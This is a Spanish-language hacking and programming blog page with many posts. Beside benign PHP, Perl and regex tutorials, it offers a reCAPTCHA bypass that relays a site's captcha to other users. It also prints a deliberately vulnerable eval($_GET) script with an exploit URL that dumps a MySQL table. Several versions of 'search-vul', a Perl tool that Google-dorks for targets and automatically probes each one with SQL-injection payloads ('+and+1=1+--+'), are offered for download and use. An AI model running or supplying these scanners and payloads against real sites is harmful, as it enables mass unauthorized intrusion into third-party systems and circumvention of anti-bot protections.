skip to main | skip to sidebar
Yoyahack
El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe
RSS
  • Home
  • Admin
  • Undersecurity
  • CPAN - Perl
  • PHP

Mostrando entradas con la etiqueta programacion. Mostrar todas las entradas
Mostrando entradas con la etiqueta programacion. Mostrar todas las entradas

Bypass Recaptcha y cualquier otra

Captcha, Nivel web, php, programacion, Tips 6 comentarios



Muchas veces necesitamos hacerle un bypass a alguna captcha, como puede ser Re-captcha.

Lo primero que se nos ocurre es usar algun OCR (Reconocimiento óptico de caracteres) para detectar las letras de la imágenes. El problema esta que no puede funcionar correctamente y en muchos casos no logra procesar la imagen. Quizás por eso no sea algo muy típico, ni muy utilizado con esto fines.

Podemos desarrollar nuestro propio OCR, pero a la larga seria un proceso muy complejo y necesitaríamos invertirle mucho tiempo. Muchos simplemente descartan el proyecto.

Otros lo que harían seria buscar alguna vulnerabilidad en la captcha, que de alguna forma les permita saber que imagen es y que letras tienen. Algunos buscarían una vulnerabilidad en la validación de la captcha que seria un proceso igualmente largo ya que tienen que entender el funcionamiento de la captcha y comenzar a probar...

Yo estaba realizando una App web y debía realizar acciones y tomar algunos datos de un sitio web, pero este utilizaba Re-captcha para poder identificarse/loguearse. Se me ocurrieron todas las opciones que menciones y otras pero no relacionada directamente con la captcha.

Aquí tengo una solución universal para cualquier Captcha. La solución mas rápida y segura, es utilizar la misma captcha que el sitio web.

Osea, la imagen genera la captcha la capturo y la muestro en mi sitio web para que los usuarios que vayan a utilizar la App web, inserten el código de la captcha y mi App web realice todo.

Al final tengo una App web, que realiza lo que quería hacer y utiliza captcha. No tengo que implementar alguna captcha en mi servicio ya que con la captcha del sitio web me basta.


Bypass de  Re-Captcha

El source de ejemplo



<?php
require_once('recaptchalib.php');


$publickey = "6Lc55McSAAAAAChEOICK8IX0V6zRh3CD64ix6jbx";
$privatekey = "6Lc55McSAAAAAB4ny39PlgX8gjMvm2x7SsrXEb6y";

if(!empty($_POST['nombre'])) {

	$is_valid = recaptcha_check_answer($privatekey, $_SERVER["REMOTE_ADDR"], $_POST["recaptcha_challenge_field"], $_POST["recaptcha_response_field"]);


	if($is_valid->is_valid) {
		echo '<p><h1>Captcha Valida</h1></p>';
		exit;
	}else{
		echo '<p><h1>Captcha invalida</h1></p>';
	}
}



?>

<form method="POST" name="form" action="coment.php">
	<p>Mensaje: <br><input type="text" name="nombre"></p>
   <?php echo recaptcha_get_html($publickey); ?><br>
	<input type="submit" value="enviar">
</form>

Realizare el código para hacerle el bypass.


<?php



//Si se envio el formulario, compruebo el el input

//donde se inserte la captcha, contenga algun valor

if(!empty($_POST['captcha_valude'])) {



$data =' nombre='.$_POST['mensaje'].'&recaptcha_challenge_field='.$_POST['cod'].'&recaptcha_response_field='.urlencode($_POST['captcha_valude']);

echo post('http://127.0.0.1/a.php', $data);

}

//Fin del poc para el bypass



//Obtengo la imagen de la captcha y luego la muestro....

$contenido = get('http://127.0.0.1/a.php');

preg_match('/ipt" src="(h[^"]+)/', $contenido, $result);

preg_match('/challenge :[sn]+'([^']+)/i', get($result[1]), $cont);

$img = 'http://www.google.com/recaptcha/api/image?c='.$cont[1];

echo '<IMG src="'.$img.'">';

//Fin...



//Funcion para realizar peticiones GET

function get($url) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$result = curl_exec($ch);

curl_close($ch);

return $result;

}



//Funcion para realizar peticiones POST

function post($url, $contenido) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $contenido);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$result = curl_exec ($ch);

curl_close ($ch);



return $result;

}



?>



<!--Formulario-->

<form action="aa.php" method="POST">

<p>Inserte el contenido de la captcha</p>

<p><input type="text" name="captcha_valude"></p>

<p>Inserte el mensaje <br><input type="text" name="mensaje"></p>

<input type="hidden" name="cod" value="<?php echo $cont[1]; ?>"><!--Codigo de la captcha-->

<input type="submit" value="Enviar">

</form>
Al rellenar todos los datos correctamente, me da por valida todo.


Probar el PoC, así entienden mejor todo.

Saludos.


7:18



File Path Injection - PHP <= 5.3.6

Nivel web, php, programacion, vurnerabilidad 1comentarios




Buenas, al parecer hay una vulnerabilidad en el Core de PHP que permiten a los atacante modificar archivos de la raíz mediante la subida de archivo en PHP (PHP Upload).

La vulnerabilidad esta en que PHP permite que el nombre del archivo pueda comenzar con barra simple (/) o una barra invertida (\). Por lo tanto esto permite ingresar a la Raiz del sistema y modificar archivos.

Hay que tener en cuenta que es necesario tener los permiso necesarios para poder editar archivos de la raíz...

El bug fue solucionado en la versión 5.3.7 de PHP.

Saludos.


8:47



Utilizar fuentes de Google font en Blogger

Nivel web, programacion 0 comentarios






Buenas, muchas veces queremos implementar las fuentes de Google Font en nuestro Blog de blogger.

Primero que nada entramos en la la Pagina Google Font, luego seleccionamos una fuente y nos movemos hacia la pestaña Use this font.


Un poco mas abajo, nos da la direccion donde se encuentra el archivo css, lo tenemos que copiar y pegarlo despues de las etiquetas <head>.


Luego mas abajo nos da un ejemplo de como implementar la fuente, en este caso en el tang <h1>.

Pueden colocarlo en el selector .posttitle, .entry, etc...

Saludos.


12:29



Creando aplicación que se conecte a una web y inicie session

Herramientas, Nivel web, perl, php, programacion 3 comentarios

Buenas, aveces necesitamos crear nuestra aplicaciones que se conecten a una web o varias Webs, para recolectar información o enviar información, quizás para recolectar y enviar información. Algunas paginas nos facilitan este trabajo creando una Api para su sitio web, un ejemplo puede ser Pastebin, Flickr, Imageshack, Twitter, etc...


Aveces no es el caso y debemos realizar todo manualmente.
Bueno primero que nada debemos examinar la web. Debemos tener en cuenta:
  • Los parámetros necesarios a mandar a la web.
  • El código de repuesta de la pagina, para poder tomar decisiones.
  • Los datos que nos envían la pagina, como Cookies.
Algo muy importante que debemos tener en cuenta, es organizar nuestras ideas antes de comenzar. Cual es el objetivo de nuestra aplicación, los pasos necesarios para poder realizar lo, etc...

Index.php:

En este caso, mi objetivo es loguearme (Iniciar session) en una web y aparecer como logueado.
Primero trato de loguearme con datos falsos, para ver como responde la pagina.

login.php

Miro los headers:


Me logueo de nuevo, pero esta vez con los datos verdaderos:


Miro los dos headers y busco una diferencia, para diferenciar si me he logueado correctamente o falso, así para luego tomar decisiones en mi aplicación.

Puedo ver que cuando inicie session con mis datos correcto, el código de respuesta fue 302 y cuando ingrese datos falso el código de repuesta fue 200. También que al iniciar session correctamente, el servidor me manda una Cookie que es PHPSESSID.

Al iniciar session correctamente, me redirecciona al index.php

Paso a crear mi aplicación, que realizara lo siguiente:
Enviar una petición POST al archivo login.php, con la query usuario que contendrá el nombre de usuario y la query password que contendrá el password.

Luego verifico que los datos sean correctos, si el código de repuesta es 302 es porque los datos han sido correcto y si el código de repuesta es 200 es porque los datos introducidos han sido falso. Si los datos han sido correcto, capturo la Cookie que manda el servidor para luego usarla en las peticiones GET o POST.

Bueno aquí la un ejemplo de un pequeño script escrito en Perl
#!/usr/bin/perl -w

use strict;

#Modulos necesarios
use LWP::UserAgent;
use HTTP::Request::Common;

my $url_login = 'http://127.0.0.1/pruebas/login.php';

my $usuario = $ARGV[0];

my $password = $ARGV[1];

my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16");

my $response = $ua->request(
POST $url_login, #Realizo la peticion POST
{
usuario => $usuario,#Le asigno el valor de la variable $usuario a la query usuario
password => $password,#Le asigno el valor de la variable $password a la query password
});


#Verificos que los datos ingresados sean correcto
#para esto verifico que en el codigo de repuesta
#sea 302

if($response->status_line =~ /302/)
{
print "Datos correctosn";
print "Cookie mandada por el servidor -> ".$response->header('set-cookie')."n";
exit;#Finalizo el script
}

#Si ah llegado hasta aqui, es porque los datos no son verdaderos
Salida:


Otro ejemplo pero usando PHP
<?php

$url_login = 'http://127.0.0.1/pruebas/login.php';
$usuario = 'yoya';//Usuario
$password = 'admin';//Password

$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16');
curl_setopt($ch, CURLOPT_URL, $url_login);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_POST, true);
curl_setopt($ch,CURLOPT_HEADER,true);

/*
Le asigno el valor de la variable $usuario a la query usuario
Le asigno el valor de la variable $password a la query password
*/
curl_setopt ($ch, CURLOPT_POSTFIELDS, "usuario=".$usuario."&"."password=".$password);
$result = curl_exec($ch);


/*Verificos que los datos ingresados sean correcto
para esto verifico que en el codigo de repuesta
sea 302*/

if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302")
{
preg_match("/Set-Cookie:s*([w=]+)[s;n]*/i", $result, $cookie_valor);

echo "Datos correctos<br>";
echo "Cookie mandada por el servidor -> ".$cookie_valor[1]."<br>";
exit;
}

echo "Datos introducidos incorrecto<br>";
exit;

?>
Salida:

Source para practicar:
<?php
session_start();

if(!empty($_POST['usuario']) && !empty($_POST['password']))
{
$usuario = $_POST['usuario'];
$password = $_POST['password'];

if($usuario == 'yoya' && $password == 'admin')
{
$_SESSION['conectado'] = 1;
header('Location: index.php');
}

}

?>

<p><h1>Ingresar</h1></p>

<form name="login" method="POST" action="login.php">
<p>Usuario:<br><input type="text" name="usuario"></p>

<p>Password:<br><input type="password" name="password"></p>

<p><input type="submit" value="Enviar"></p>

</form>

Saludos.


12:55



Manejo de excepciones en PHP

Nivel web, php, programacion 0 comentarios

Buenas, aunque no es muy usado el manejo de excepciones en PHP, tenemos la opción de poder utilizarlo.

Bueno aquí un ejemplo:
<?php

function saludo($str = null)//Funcion saludo
{//Inicio

if(empty($str))//Si la variable $str esta vacia entonce
{
throw new Exception('Ingresar un parametro');//Lanzamos la excepción

}//Fin del if

elseif(is_int($str))//Si la variable $str contiene solo numeros enteros
{ //Entonces ....
throw new Exception('No se permite numeros enteros');
}//Fin del elseif

else{ //Sino
return $str;
}//Fin del else
}//Fin de la funcion


try{
saludo("Hola mundo\n");
saludo(2);

} catch (Exception $e) {
echo $e->getMessage();//Mostramo el mensaje de la excepcion
print_r($e);
}
?>

Bueno, tenemos la función saludo() que recibe un parámetro, si no le mandamos un parámetro a la función saludo(), esta función lanza una excepción .

Si le mandamos solo números enteros como parámetros a la función saludo(), esta lanza una excepción.
Si todo esta bien, la función saludo() retorna el valor de la variable $str que es la variable que contiene el valor que le pasamos como parámetro a la función saludo().

Salida:
Hola mundo
Exception Object
(
[message:protected] => No se permite numeros enteros
[string:Exception:private] =>
[code:protected] => 0
[file:protected] => /var/www/html/pruebas.php
[line:protected] => 14
[trace:Exception:private] => Array
(
[0] => Array
(
[file] => /var/www/html/pruebas.php
[line] => 25
[function] => saludo
[args] => Array
(
[0] => 2
)

)

)

[previous:Exception:private] =>
)

Saludos.


14:29



Passive Group - Expresiones Regulares

Nivel web, php, programacion, Regexp 0 comentarios

Buenas, los Passive Group se usan para no crear una referencia... Si tengo el siguiente patrón

<?php
preg_match('/(hola)/','hola', $salida);
echo $salida[1];
?>
La salida es hola, el primer paréntesis crea la primera referencia, si existe otro paréntesis creara una segunda referencia, etc... Si usamos Passive Group este no creara una referencia...
<?php
preg_match('/(?:h)(ola)/','hola', $salida);
echo $salida[1];
?>

La salida es ola, en el primer paréntesis uso el Passive Group para no crear una referencia pero en el segundo creo una referencia que seria la primera referencia...

Saludos.


7:41



[PHP Class] HttpLoginConnect

Herramientas, Nivel web, php, POO, programacion 0 comentarios

HttpLoginConnect



HttpLoginConnect es una clase hecha en PHP, especialmente preparada para la validación de datos de un login...

Descripción: HttpLoginConnect valida los datos de un login, verifica que la validación de datos sea correcta y captura la cookie que mandar el servidor, para su posterior uso... Se puede realizar peticiones GET al servidor usando la cookie capturada.

Característica:

  • Validación de datos
  • Uso de Cookie
  • Permite enviar peticiones GET con el uso de cookie
  • Permite parámetros opcionales para enviarlo via POST

Requerimientos:
  • Apache
  • PHP5
  • PHP-Curl
Documentacion
Source

Saludos.


16:59



Mysql Connection Hijacking

MYSQL, Nivel web, php, programacion, vurnerabilidad 0 comentarios

Buenas, hace poco estaba leyendo un White-paper, que mostraba la importancia de la función mysql_close(), que sirve para cerrar conexiones mysql no-persistente, algunas personas no lo usan ya que la conexión se cierra al final del script, otras personas no le dan importancia...

Bueno para entender como funciona, que mejor que un ejemplo:

Este es el código vulnerable:


<?php
$connect = mysql_connect('127.0.0.1','root','password');
mysql_select_db('ejemplo',$connect);

if(mysql_query('select * from nombres where id=1;')){
echo "Consulta ejecutada";
}else{
echo "No se pudo ejecutar la consulta<br><br>";
}
if(isset($_GET['v']))
{
eval($_GET['v']);
}


?>

En este caso como no se ah cerrado la conexión mysql no-persistente y tampoco ah finalisado el script puedo hacer uso de la conexión mysql...


http://127.0.0.1/script.php?v=$sql = mysql_query('select * from nombres');while ($row = mysql_fetch_assoc($sql)){ echo "<br>".$row['nombre'];}

Salida:


Consulta ejecutada
edwin
jose
jesus


Saludos.


Referencias:
Hijacking
MySQL


9:14



¿empty o isset?

Nivel web, php, programacion 4 comentarios

Buenas, aveces tenemos que verificar el contenido de una variable pero mucha veces usamos isset o empty para verificar pero son muy diferente las dos...


Basta con preguntarse porque en php existiría una función con diferente nombre pero con el mismo resultado....

Ps la correcta forma para verificar si una variable esta vacía es empty ya que determina si una variable esta vacía... isset se usa para saber si una variable esta definida...

Saludos....


16:39



Capturacion global con Expresiones Regulares en Perl y PHP

Nivel web, perl, php, programacion, Regexp 0 comentarios

Buenas, aveces necesitamos hacer una captura global con expresiones regulares, ya que cuando encuentra el primer patron hay termina la expresion termina...

Aunque en Perl nunca tuve ese problema en PHP, así que muestro la manera de hacerlo con PHP y Perl.

Perl

En Perl necesito usar el operador de opción g mas una sentencia infinita, en este caso while...



#!/usr/bin/perl -w

$txt = "Hola adios Hola aqwq ds iifndini Hola";

while($txt =~ m/(Hola+)/g){

print $1, "\n";

}

exit;

Salida:


yoya@yoya-desktop:~/Escritorio$ perl d.pl
Hola
Hola
Hola

PHP


En PHP necesito usar la función preg_match_all.


<?php

$txt = "Hola adios Hola aqwq ds iifndini Hola";
preg_match_all("/(Hola+)/", $txt, $captura, PREG_SET_ORDER);
foreach ($captura as $salida){
echo $salida[1];
echo "\n";
}


?>




Salida:


yoya@yoya-desktop:~/Escritorio$ php a.php
Hola
Hola
Hola



Referencias:
Expresiones Regulares


9:37



Ejemplo de PHP POO ( Programación orientada a objectos)

php, programacion 1comentarios

Ejemplo de PHP POO (Programación orientada a objectos), para que vean mas o menos como funciona xD.


<?php

class info {
private $nombre;
private $apellido;
private $edad;

public function __construct($nom,$lname, $age)
{
$this->nombre = $nom;
$this->apellido = $lname;
$this->edad = $age;
}

public function nombree()
{
echo "El nombre es ".$this->nombre;
echo '<br>';
}

public function apellidoo()
{
echo "El apellido es ".$this->apellido;
echo '<br>';
}

public function edadd()
{
echo "La edad de ".$this->nombre." es ".$this->edad;
echo '<br>';
}

public function mostrar()
{
echo $this->nombree();
echo $this->apellidoo();
echo $this->edadd();

}

}//Fin de la clase

$info = new info('Yoya','hack', '99');
$info->mostrar();

?>


14:09



search-vul 0.4

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno aquí mi tool, search-vul 0.4, con algunas optimaciones, arreglos, y detecta si existen varios Query_String en la url y un help para su uso xD.






=pod
Autor: Yoyahack
name: search-vul
verion: 0.4
Mail: yoyahack@undersecurity.net
Web: www.yoyahack.blogspot.com
Webs: www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
_ _
___ ___ __ _ _ __ ___| |__ __ ___ _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \ __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_| \___|_| |_| \_/ \__,_|_|

=cut

#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut

#Modulos

use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;

#Code

print q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································
);

print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
--help
);

#Opciones
GetOptions("google=s" => \$google,
"googles=s" => \$googles,
"vul=s" => \$vul,
"dns=s" => \$dns,
"num=s" => \$num,
"help" => \$help);

if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};
if($help){&help}

sub google{

###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);

###########################################################
while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {

my $enlace = $1;
open (SE,">>busqueda.txt");
print SE "$enlace\n";
close (SE);
print "$enlace\n";
}
}



sub googles{

###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
{
chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);

###########################################################
while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
my $enlace1 = $1;

open (SS,">>googles.txt");
print SS "$enlace1\n";
close (SS);
print "$enlace1\n";
}
}
}


sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
{
chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
###########################################################
$pag .= '&';
if($pag =~ m/&{2}/ig){
}else{
while ($pag =~ m/\&/g) {
$regex = $pag;
substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
my $tofo3 = scalar(split("\n",get($regex)));
$regex2 = $pag;
substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
my $tofo4 = scalar(split("\n",get($regex2)));
if($tofo3 ne $tofo4 || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL "$pag\n";
close (SS);
}
}
}
##########################################################
my $fuente = get($iny1);
my $tofo = scalar(split("\n",$fuente));

my $result = get($iny2);
my $todo = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo || $tofo != $todo){
open (VUL,">>vurl.txt");
print VUL q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.net & www.mitm.cl
·············································

);
print VUL "$pag\n";
close (SS);
print "[+]$pag es vurnerable a SQLI\n";
print "!guardada exitosamente\n";
} else {
print "\n$pag no es vurnerable a SQLI\n";
}
}
}

sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");

while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){

open (DNS,">>reverse_dns.txt");
print DNS "$1\n";
close (DNS);
print "$1\n";

}
if ($result =~ /valid IP address/) {

print "Not found\n";
}
}


sub help {
&erase;
print q(
##############################
1 --google <busqueda> --num <numero>

Buscar paginas de google.com y indica el numero de pagina a buscar
perl script.pl --google ola --num 10
##############################
#////
##############################
2 --googles <busqueda> --num <numero>

perl script.pl --googles ola --num 10
Buscar pagina de distinto servidores googles
##############################
#////
##############################
3 --vul <file.txt>

perl script.pl --vul archivo.txt
Escanea un archivo que contenga distinta pagina y verifica las vurnerables
##############################
#////
##############################
4 --dns <site>

perl script.pl --dns www.pagina.com
Reverse dns
##############################
#////
);
}

sub erase{
$os = "$^O";
if ("linux" == "$os"){
return system('clear');
}else{
return system('cls');}
}

sub get {
my $pagina = $_[0];

my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");

my $busqueda = new HTTP::Request GET => $pagina;
my $resultado = $ua->request($busqueda);
$ua->timeout(7) || die "Conecction faield";
my $result = $resultado->content();
}


13:52



[optimisada] search-vul 0.3

Herramientas, Nivel web, perl, programacion 4 comentarios

Buenas aquí la versión 0.3 de search-vul, la eh optimizado bastante, gracias a C1c4Tr1Z por la idea que me dio para no estar haciendo peticiones a cada rato que hase el script vaya un poco mas lento, y al maestro OzX , eh puesto algunas de sus grandiosas tecnicas en sql....





=pod
Autor: Yoyahack
name: search-vul
verion: 0.3
Mail: yoyahack@undersecurity.net
Web: www.yoyahack.blogspot.com
Webs: www.undersecurity.net & www.mitm.cl
Gretz: S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z
_ _
___ ___ __ _ _ __ ___| |__ __ ___ _| |
/ __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
\__ \ __/ (_| | | | (__| | | |_____\ V /| |_| | |
|___/\___|\__,_|_| \___|_| |_| \_/ \__,_|_|

=cut

#opciones
=pod
--google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
--googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
--vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
--dns <site> -> Reverse dns
=cut

#Modulos

use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;

#Code

print q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.com & www.mitm.cl
·············································
);

print "Usage: perl $0 --opcion <xxx>\n";
print q(
--google <busqueda> --num <numero>
--googles <busqueda> --num <numero>
--vul <file.txt>
--dns <site>
);

#Opciones
GetOptions("google=s" => \$google,
"googles=s" => \$googles,
"vul=s" => \$vul,
"dns=s" => \$dns,
"num=s" => \$num);

if($google & $num){&google};
if($googles & $num ){&googles};
if($vul){&vul};
if($dns){&dns};

sub google{

###########################################################
my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
my $result = get($peti);

###########################################################
while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {

my $enlace = $1;
open (SE,">>busqueda.txt");
print SE "$enlace\n";
close (SE);
print "$enlace\n";
}
}



sub googles{

###########################################################
my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
foreach $go(@googles)
{
chomp($go);
###########################################################
my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
my $result1 = get($peti1);

###########################################################
while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
my $enlace1 = $1;

open (SS,">>googles.txt");
print SS "$enlace1\n";
close (SS);
print "$enlace1\n";
}
}
}


sub vul{
###########################################################
open(PAG,$vul) || die "Archivo de texto no encontrado";
@urls=<PAG>;
close (PAG);
foreach $pag(@urls)
{
chomp($pag);
###########################################################
my $iny1 = $pag."'+and+1=1+--+";
my $iny2 = $pag."'+and+1=2+--+";
##########################################################
my $fuente = get($iny1);
my $tofo = scalar(split("\n",$fuente));

my $result = get($iny2);
my $todo = scalar(split("\n",$result));
##########################################################
if($tofo ne $todo){
open (VUL,">>vurl.txt");
print VUL q(
·············································
Code
by
Yoyahack
www.yoyahack.blogspot.com
www.undersecurity.com & www.mitm.cl
·············································

);
print VUL "$pag\n";
close (SS);
print "[+]$pag es vurnerable a SQLI\n";
print "!guardada exitosamente\n";
} else {
print "\n$pag no es vurnerable a SQLI\n";
}
}
}

sub dns{
my $result = get("http://www.ip-adress.com/reverse_ip/$dns");

while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){

open (DNS,">>reverse_dns.txt");
print DNS "$1\n";
close (DNS);
print "$1\n";

}
if ($result =~ /valid IP address/) {

print "Not found\n";
}
}

sub get {
my $pagina = $_[0];

my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");

my $busqueda = new HTTP::Request GET => $pagina;
my $resultado = $ua->request($busqueda);
$ua->timeout(7) || die "Conecction faield";
my $result = $resultado->content();
}


13:26



Encode text en html entities en perl

Herramientas, perl, programacion 0 comentarios

Bueno aquí mi code para que encode sus texto a html entities, muy bueno para los blogs.


#Autor: Yoyahack
#Webs: www.yoyahack.blogspot.com - www.undersecurity.net
#mail: elmafioso.edwin@gmail.com
#Encode strings with HTML entities

#Module

use HTML::Entities;

#Code

print "\nYoyahack - www.yoyahack.blogspot.com\nwww.undersecurity.net\n";
print "\nUsage: perl name.pl <archive.txt>\n";
print "Ex: perl script.pl archive.txt\n";

open(AR,"$ARGV[0]") || die "\nNot found archive\n";
@ar=<AR>;
close (AR);

foreach $encode(@ar)
{
chomp($encode);

encode_entities( $encode );

open (SAVE,">>encode_text.txt");
print SAVE "$encode\n";
close (SAVE);


}

print "\nSuccessfully saved text file!\n";
exit(0);


12:41



Reverse DNS en perl

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno aquí un reverse dns que acabo de codear.

Modo de uso:

perl name.pl www.pagina.com

Guardas las webs en un archivo de texto.

Code:


#Autor: Yoyahack
#Webs: www.yoyahack.blogspot.com - www.undersecurity.net
#Reverse dns

#Modulos

use LWP::UserAgent;
use HTTP::Request;

#Body

print q(
Reverse Dns by yoyahack
www.yoyahack.blogspot.com - www.undersecurity.net
);

print "Usage: perl script.pl <web>\n";
print "Ex: perl reversedns.pl www.pagina.com\n";
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");

my $busqueda = new HTTP::Request GET =>"http://www.ip-adress.com/reverse_ip/$ARGV[0]";
my $resultado = $ua->request($busqueda);
$ua->timeout(7) || die "Conecction faield";
my $result = $resultado->content();

while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){


open (DNS,">>reverse_dns.txt");
print DNS "$1\n";
close (DNS);
print "$1\n";

}


12:24



search-vul 0.1

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno aquí mi tools, sus característica son:

  1. Busca paginas mediante google
  2. Te da la opción de buscar paginas webs mediante distinto servidores google.
  3. Abre un archivo de texto en la que están guardada todas las web y verifica las posibles vulnerabilidades a sqli.
Ps aqui una captura


Descargar


17:48



Automatisador de busqueda de google en perl v0.2

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno este es la segunda version de google search en perl hecha por mi, ps en esta version guarda
los enlaces en un archivo de texto por default llamado 'enlaces.txt' si quieren alguna mejora ps decirlo.


#Autor:   Yoyahack

#Version: 0.2



use LWP::UserAgent;

use HTTP::Request;



print "Modo de uso:\n";

print "Perl name.pl <busqueda> <numeros de paginas>\n";

print "perl name.pl inurl:noticias.php?id=1 50\n";



my $ua = new LWP::UserAgent;

$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");



for($i=1;$i<$ARGV[1];$i++){

    my $busqueda = new HTTP::Request GET =>"http://www.google.com/search?hl=es&q=.$ARGV[0].&start=$i&sa=N";

    my $resultado = $ua->request($busqueda);

    $ua->timeout(7);

    my $result = $resultado->content;



    while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {

        my ($enlace) = ($1);

        open (SAVE, ">>enlaces.txt");

        print SAVE "\n$enlace\n";

        print "$enlace\n";

        close(SAVE);

}

}

#Gretz:   S[e]C, seth, OzX, p0fk  


19:38



Creando un code en perl I

Nivel web, perl, programacion 0 comentarios

Bueno este es un tuto que hise de como llegue a crear un script en perl parte por parte, espero que sea muy explicativo.

Descargar


15:40



Automatisador de busqueda de google en perl

Herramientas, Nivel web, perl, programacion 0 comentarios

Bueno este script lo cree cuando comense a programar con sockets en perl, le agradesco a la comunidad undersecurity que me ayudo mucho y en especial a mi amigo s[e]c.

Modo de uso

perl script.pl noticias.php 10



#Autor: Yoyahack<br />

<br />

use LWP::UserAgent;<br />

use HTTP::Request;<br />

<br />

print "Modo de uso:\n";<br />

print "Perl name.pl \n";<br />

print "perl name.pl inurl:noticias.php?id=1 50\n";<br />

<br />

my $ua = new LWP::UserAgent;<br />

$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");<br />

<br />

for($i=1;$i<$ARGV[1];$i++){<br />

my $busqueda = new HTTP::Request GET =>"http://www.google.es/search?hl=es&q=.$ARGV[0].&start=$i&sa=N";<br />

my $resultado = $ua->request($busqueda);<br />

$ua->timeout(7);<br />

my $result = $resultado->content;<br />

<br />

while ($result =~ m/

(.*?)<\/a>/g) {<br />

my ($enlace) = ($1);<br />

print "$enlace\n";<br />

}<br />

}<br />

#Agradesco a la comunidad undersecurity que me ayudo mucho en la elavoracion del code y a s[e]c que me ayudo con algunos #errorres


12:54



Entradas antiguas Inicio
Suscribirse a: Entradas (Atom)

    Fedora 15

    FayerWayer

    Cargando...

    Twitter

    Follow @Yoyahack

    Categoria

    • Captcha (1)
    • Exploit (1)
    • Herramientas (10)
    • MYSQL (2)
    • Nivel web (24)
    • Noticias (2)
    • Offtopic (2)
    • perl (11)
    • php (12)
    • POO (1)
    • programacion (19)
    • Regexp (2)
    • Tips (1)
    • vurnerabilidad (7)
    • XSS (2)

    Blog Archive

    • ▼  2012 (1)
      • ▼  abril (1)
        • De regreso
